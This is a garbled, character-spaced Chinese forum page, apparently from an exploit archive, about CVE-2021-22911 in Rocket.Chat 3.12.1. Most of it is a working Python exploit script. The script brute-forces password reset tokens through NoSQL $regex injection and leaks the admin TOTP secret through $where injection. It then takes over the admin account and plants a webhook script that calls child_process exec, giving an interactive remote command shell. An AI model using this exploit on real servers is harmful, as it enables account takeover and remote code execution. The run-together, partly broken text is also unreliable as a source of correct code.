[20619] 2021-06-08_CVE-2021-22911:Pre-AuthBlindNoSQL注入导致RocketChat3.12.1RCE

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-18
2021-06-08_CVE-2021-22911:Pre-AuthBlindNoSQL注入导致RocketChat3.12.1RCE C V E - 2 0 2 1 - 2 2 9 1 1 P r e - A u t h   B l i n d   N o S Q L     R o c k e t   C h a t   3 . 1 2 . 1   R C E C s E n o x   K h a n   2 0 2 1 - 0 6 - 0 8   N o S Q L     R o c k e t   C h a t   3 . 1 2 . 1   g e t P a s s w o r d P o l i c y     N o S Q L   / 1 .   g e t P a s s w o r d P o l i c y   N o S Q L     j s o n   使 $ r e g e x 使   n o s q l   2 .   a d m i n 2 f a 使   ( 1 )     2 f a   u s e r s . l i s t   a p i     n o s q l     2 f a       ( 1 )   使   2 f a   3 .   R C E   -   R o c k e t . C h a t     W e b     W e b   使   w e b h o o k     r c e     2 f a     R o c k e t   C h a t   3 . 1 2 . 1   使   d o c k e r   { " $ w h e r e " : " t h i s . u s e r n a m e = = = ' a d m i n ' + & & + ( ( ) = > { + t h r o w + t h i s . s e r v i c e s . t o t p . s e c r e t + } ) ( ) " } c o n s t   r e q u i r e   =   c o n s o l e . l o g . c o n s t r u c t o r ( ' r e t u r n   p r o c e s s . m a i n M o d u l e . r e q u i r e ' ) ( ) ; c o n s t   {   e x e c   }   =   r e q u i r e ( ' c h i l d _ p r o c e s s ' ) ; e x e c ( ' c o m m a n d   h e r e ' ) ; p y t h o n 3 e x p l o i t . p y   - u   "   u s e r @ r o c k e t . l o c a l   "   - a   "   a d m i n @ r o c k e t . l o c a l   "   - t   "   h t t p : / / r o c k e t . l o c a l   "
d o c k e r   r u n   - - n a m e   d b   - d   m o n g o : 3 . 6   - - s m a l l f i l e s   - - r e p l S e t   r s 0   - - o p l o g S i z e   1 2 8 d o c k e r   e x e c   - t i   d b   m o n g o   - - e v a l   " p r i n t j s o n ( r s . i n i t i a t e ( ) ) " d o c k e r   r u n   - - n a m e   r o c k e t c h a t   - p   8 0 : 3 0 0 0   - - l i n k   d b   - - e n v   R O O T _ U R L = h t t p : / / l o c a l h o s t   - - e n v   M O N G O _ O P L O G _ U R L = m o n g o d b : / / d b : 2 7 0 1 7 / l o c a l   - d   r o c k e t . c h a t : 3 . 1 2 . 1 # ! / u s r / b i n / p y t h o n i m p o r t   r e q u e s t s i m p o r t   s t r i n g i m p o r t   t i m e i m p o r t   h a s h l i b i m p o r t   j s o n i m p o r t   o a t h t o o l i m p o r t   a r g p a r s e p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( d e s c r i p t i o n = ' R o c k e t C h a t   3 . 1 2 . 1   R C E ' ) p a r s e r . a d d _ a r g u m e n t ( ' - u ' ,   h e l p = ' L o w   p r i v   u s e r   e m a i l   [   N o   2 f a   ] ' ,   r e q u i r e d = T r u e ) p a r s e r . a d d _ a r g u m e n t ( ' - a ' ,   h e l p = ' A d m i n i s t r a t o r   e m a i l ' ,   r e q u i r e d = T r u e ) p a r s e r . a d d _ a r g u m e n t ( ' - t ' ,   h e l p = ' U R L   ( E g :   h t t p : / / r o c k e t c h a t . l o c a l ) ' ,   r e q u i r e d = T r u e ) a r g s   =   p a r s e r . p a r s e _ a r g s ( ) a d m i n m a i l   =   a r g s . a l o w p r i v m a i l   =   a r g s . u t a r g e t   =   a r g s . t d e f   f o r g o t p a s s w o r d ( e m a i l , u r l ) :     p a y l o a d = ' { " m e s s a g e " : " { " m s g " : " m e t h o d " , " m e t h o d " : " s e n d F o r g o t P a s s w o r d E m a i l " , " p a r a m s " : [ " ' + e m a i l + ' " ] } " } '     h e a d e r s = { ' c o n t e n t - t y p e ' :   ' a p p l i c a t i o n / j s o n ' }     r   =   r e q u e s t s . p o s t ( u r l + " / a p i / v 1 / m e t h o d . c a l l A n o n / s e n d F o r g o t P a s s w o r d E m a i l " ,   d a t a   =   p a y l o a d ,   h e a d e r s   =   h e a d e r s ,   v e r i f y   =   F a l s e ,   a l l o w _ r e d i r e c t s   =   F a l s e )     p r i n t ( " [ + ]   P a s s w o r d   R e s e t   E m a i l   S e n t " ) d e f   r e s e t t o k e n ( u r l ) :     u   =   u r l + " / a p i / v 1 / m e t h o d . c a l l A n o n / g e t P a s s w o r d P o l i c y "     h e a d e r s = { ' c o n t e n t - t y p e ' :   ' a p p l i c a t i o n / j s o n ' }     t o k e n   =   " "     n u m   =   l i s t ( r a n g e ( 0 , 1 0 ) )     s t r i n g _ i n t s   =   [ s t r ( i n t )   f o r   i n t   i n   n u m ]     c h a r a c t e r s   =   l i s t ( s t r i n g . a s c i i _ u p p e r c a s e   +   s t r i n g . a s c i i _ l o w e r c a s e )   +   l i s t ( ' - ' ) + l i s t ( ' _ ' )   +   s t r i n g _ i n t s     w h i l e   l e n ( t o k e n ) ! =   4 3 :         f o r   c   i n   c h a r a c t e r s :             p a y l o a d = ' { " m e s s a g e " : " { " m s g " : " m e t h o d " , " m e t h o d " : " g e t P a s s w o r d P o l i c y " , " p a r a m s " : [ { " t o k e n " : { " $ r e g e x " : " ^ % s " } } ] } " } '   %   ( t o k e n   +   c )             r   =   r e q u e s t s . p o s t ( u ,   d a t a   =   p a y l o a d ,   h e a d e r s   =   h e a d e r s ,   v e r i f y   =   F a l s e ,   a l l o w _ r e d i r e c t s   =   F a l s e )             t i m e . s l e e p ( 0 . 5 )             i f   ' M e t e o r . E r r o r '   n o t   i n   r . t e x t :                 t o k e n   + =   c                 p r i n t ( f " G o t :   { t o k e n } " )     p r i n t ( f " [ + ]   G o t   t o k e n   :   { t o k e n } " )     r e t u r n   t o k e n d e f   c h a n g i n g p a s s w o r d ( u r l , t o k e n ) :     p a y l o a d   =   ' { " m e s s a g e " : " { " m s g " : " m e t h o d " , " m e t h o d " : " r e s e t P a s s w o r d " , " p a r a m s " : [ " ' + t o k e n + ' " , " P @ $ $ w 0 r d ! 1 2 3 4 " ] } " } '     h e a d e r s = { ' c o n t e n t - t y p e ' :   ' a p p l i c a t i o n / j s o n ' }     r   =   r e q u e s t s . p o s t ( u r l + " / a p i / v 1 / m e t h o d . c a l l A n o n / r e s e t P a s s w o r d " ,   d a t a   =   p a y l o a d ,   h e a d e r s   =   h e a d e r s ,   v e r i f y   =   F a l s e ,   a l l o w _ r e d i r e c t s   =   F a l s e )     i f   " e r r o r "   i n   r . t e x t :         e x i t ( " [ - ]   W r o n g   t o k e n " )     p r i n t ( " [ + ]   P a s s w o r d   w a s   c h a n g e d   ! " ) d e f   t w o f a c t o r ( u r l , e m a i l ) :     #   A u t h e n t i c a t i n g     s h a 2 5 6 p a s s   =   h a s h l i b . s h a 2 5 6 ( b ' P @ $ $ w 0 r d ! 1 2 3 4 ' ) . h e x d i g e s t ( )     p a y l o a d   = ' { " m e s s a g e " : " { " m s g " : " m e t h o d " , " m e t h o d " : " l o g i n " , " p a r a m s " : [ { " u s e r " : { " e m a i l " : " ' + e m a i l + ' " } , " p a s s w o r d " : { " d i g e s t " : " ' + s h a 2 5 6 p a s s +     h e a d e r s = { ' c o n t e n t - t y p e ' :   ' a p p l i c a t i o n / j s o n ' }     r   =   r e q u e s t s . p o s t ( u r l   +   " / a p i / v 1 / m e t h o d . c a l l A n o n / l o g i n " , d a t a = p a y l o a d , h e a d e r s = h e a d e r s , v e r i f y = F a l s e , a l l o w _ r e d i r e c t s = F a l s e )     i f   " e r r o r "   i n   r . t e x t :         e x i t ( " [ - ]   C o u l d n ' t   a u t h e n t i c a t e " )     d a t a   =   j s o n . l o a d s ( r . t e x t )         d a t a   = ( d a t a [ ' m e s s a g e ' ] )     u s e r i d   =   d a t a [ 3 2 : 4 9 ]     t o k e n   =   d a t a [ 6 0 : 1 0 3 ]
    t o k e n   =   d a t a [ 6 0 : 1 0 3 ]     p r i n t ( f " [ + ]   S u c c e s f u l l y   a u t h e n t i c a t e d   a s   { e m a i l } " )     #   G e t t i n g   2 f a   c o d e     c o o k i e s   =   { ' r c _ u i d ' :   u s e r i d , ' r c _ t o k e n ' :   t o k e n }     h e a d e r s = { ' X - U s e r - I d ' :   u s e r i d , ' X - A u t h - T o k e n ' :   t o k e n }     p a y l o a d   =   ' / a p i / v 1 / u s e r s . l i s t ? q u e r y = { " $ w h e r e " % 3 a " t h i s . u s e r n a m e % 3 d % 3 d % 3 d ' a d m i n ' + % 2 6 % 2 6 + ( ( ) % 3 d > { + t h r o w + t h i s . s e r v i c e s . t o t p . s e c r e t + } ) ( ) " } '     r   =   r e q u e s t s . g e t ( u r l + p a y l o a d , c o o k i e s = c o o k i e s , h e a d e r s = h e a d e r s )     c o d e   =   r . t e x t [ 4 6 : 9 8 ]     p r i n t ( f " G o t   t h e   c o d e   f o r   2 f a :   { c o d e } " )     r e t u r n   c o d e d e f   c h a n g i n g a d m i n p a s s w o r d ( u r l , t o k e n , c o d e ) :     p a y l o a d   =   ' { " m e s s a g e " : " { " m s g " : " m e t h o d " , " m e t h o d " : " r e s e t P a s s w o r d " , " p a r a m s " : [ " ' + t o k e n + ' " , " P @ $ $ w 0 r d ! 1 2 3 4 " , { " t w o F a c t o r C o d e " : " ' + c o d e + ' " , " t w o F a c t o r M e t h o d " : " t o t p " } ] } " } '     h e a d e r s = { ' c o n t e n t - t y p e ' :   ' a p p l i c a t i o n / j s o n ' }     r   =   r e q u e s t s . p o s t ( u r l + " / a p i / v 1 / m e t h o d . c a l l A n o n / r e s e t P a s s w o r d " ,   d a t a   =   p a y l o a d ,   h e a d e r s   =   h e a d e r s ,   v e r i f y   =   F a l s e ,   a l l o w _ r e d i r e c t s   =   F a l s e )     i f   " 4 0 3 "   i n   r . t e x t :         e x i t ( " [ - ]   W r o n g   t o k e n " )     p r i n t ( " [ + ]   A d m i n   p a s s w o r d   c h a n g e d   ! " ) d e f   r c e ( u r l , c o d e , c m d ) :     #   A u t h e n t i c a t i n g     s h a 2 5 6 p a s s   =   h a s h l i b . s h a 2 5 6 ( b ' P @ $ $ w 0 r d ! 1 2 3 4 ' ) . h e x d i g e s t ( )     h e a d e r s = { ' c o n t e n t - t y p e ' :   ' a p p l i c a t i o n / j s o n ' }     p a y l o a d   =   ' { " m e s s a g e " : " { " m s g " : " m e t h o d " , " m e t h o d " : " l o g i n " , " p a r a m s " : [ { " t o t p " : { " l o g i n " : { " u s e r " : { " u s e r n a m e " : " a d m i n " } , " p a s s w o r d " : { " d i g e s t " : " '     r   =   r e q u e s t s . p o s t ( u r l   +   " / a p i / v 1 / m e t h o d . c a l l A n o n / l o g i n " , d a t a = p a y l o a d , h e a d e r s = h e a d e r s , v e r i f y = F a l s e , a l l o w _ r e d i r e c t s = F a l s e )     i f   " e r r o r "   i n   r . t e x t :         e x i t ( " [ - ]   C o u l d n ' t   a u t h e n t i c a t e " )     d a t a   =   j s o n . l o a d s ( r . t e x t )     d a t a   = ( d a t a [ ' m e s s a g e ' ] )     u s e r i d   =   d a t a [ 3 2 : 4 9 ]     t o k e n   =   d a t a [ 6 0 : 1 0 3 ]     p r i n t ( " [ + ]   S u c c e s f u l l y   a u t h e n t i c a t e d   a s   a d m i n i s t r a t o r " )     #   C r e a t i n g   I n t e g r a t i o n     p a y l o a d   =   ' { " e n a b l e d " : t r u e , " c h a n n e l " : " # g e n e r a l " , " u s e r n a m e " : " a d m i n " , " n a m e " : " r c e " , " a l i a s " : " " , " a v a t a r U r l " : " " , " e m o j i " : " " , " s c r i p t E n a b l e d " : t r u e , " s c r i p t " : " c o n s t   r e q u i r e   =   c o n s o l e . l o g . c o n s t r u c t o r ( ' r e t u r n   p r o c e s s . m a i n M o d u l e . r e q u i r e ' ) ( ) ; n c o n s t   {   e x e c   }   =   r e q u i r e ( ' c h i l d _ p r o c e s s ' ) ; n e x e c ( ' '     c o o k i e s   =   { ' r c _ u i d ' :   u s e r i d , ' r c _ t o k e n ' :   t o k e n }     h e a d e r s   =   { ' X - U s e r - I d ' :   u s e r i d , ' X - A u t h - T o k e n ' :   t o k e n }     r   =   r e q u e s t s . p o s t ( u r l + ' / a p i / v 1 / i n t e g r a t i o n s . c r e a t e ' , c o o k i e s = c o o k i e s , h e a d e r s = h e a d e r s , d a t a = p a y l o a d )     d a t a   =   r . t e x t     d a t a   =   d a t a . s p l i t ( ' , ' )     t o k e n   =   d a t a [ 1 2 ]     t o k e n   =   t o k e n [ 9 : 5 7 ]     _ i d   =   d a t a [ 1 8 ]     _ i d   =   _ i d [ 7 : 2 4 ]     #   T r i g g e r i n g   R C E     u   =   u r l   +   ' / h o o k s / '   +   _ i d   +   ' / '   + t o k e n     r   =   r e q u e s t s . g e t ( u )     p r i n t ( r . t e x t ) # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #   G e t t i n g   L o w   P r i v   u s e r p r i n t ( f " [ + ]   R e s e t t i n g   { l o w p r i v m a i l }   p a s s w o r d " ) # #   S e n d i n g   R e s e t   M a i l f o r g o t p a s s w o r d ( l o w p r i v m a i l , t a r g e t ) # #   G e t t i n g   r e s e t   t o k e n t o k e n   =   r e s e t t o k e n ( t a r g e t ) # #   C h a n g i n g   P a s s w o r d c h a n g i n g p a s s w o r d ( t a r g e t , t o k e n ) #   P r i v i l e g e   E s c a l a t i o n   t o   a d m i n # #   G e t t i n g   s e c r e t   f o r   2 f a s e c r e t   =   t w o f a c t o r ( t a r g e t , l o w p r i v m a i l ) # #   S e n d i n g   R e s e t   m a i l p r i n t ( f " [ + ]   R e s e t t i n g   { a d m i n m a i l }   p a s s w o r d " ) f o r g o t p a s s w o r d ( a d m i n m a i l , t a r g e t ) # #   G e t t i n g   r e s e t   t o k e n t o k e n   =   r e s e t t o k e n ( t a r g e t )
# #   R e s e t t i n g   P a s s w o r d c o d e   =   o a t h t o o l . g e n e r a t e _ o t p ( s e c r e t ) c h a n g i n g a d m i n p a s s w o r d ( t a r g e t , t o k e n , c o d e ) # #   A u t h e n t i c t i n g   a n d   t r i g g e r i n g   r c e w h i l e   T r u e :     c m d   =   i n p u t ( " C M D : >   " )     c o d e   =   o a t h t o o l . g e n e r a t e _ o t p ( s e c r e t )     r c e ( t a r g e t , c o d e , c m d )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则